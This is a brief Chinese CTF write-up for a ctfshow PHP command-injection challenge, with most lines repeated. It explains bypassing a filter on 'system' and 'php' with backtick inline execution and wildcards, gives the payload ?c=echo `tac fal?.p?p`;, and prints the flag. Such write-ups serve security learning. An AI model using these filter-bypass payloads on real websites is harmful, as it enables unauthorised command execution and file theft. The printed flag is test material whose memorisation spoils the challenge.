看题与上一题类似但是输入c变量的参数不能有的字符多了system和php,所以要用到内敛执行
- 内敛执行:将``或$()内命令的输出作为输入执行
- 在php中,反引号作用和system类似
所以如法炮制访问url?c=echo `tac fal?.p?p`;得到flag
ctfshow{8ad70483-34ce-4b6a-8231-468246cf17f2}
看题与上一题类似但是输入c变量的参数不能有的字符多了system和php,所以要用到内敛执行
所以如法炮制访问url?c=echo `tac fal?.p?p`;得到flag
ctfshow{8ad70483-34ce-4b6a-8231-468246cf17f2}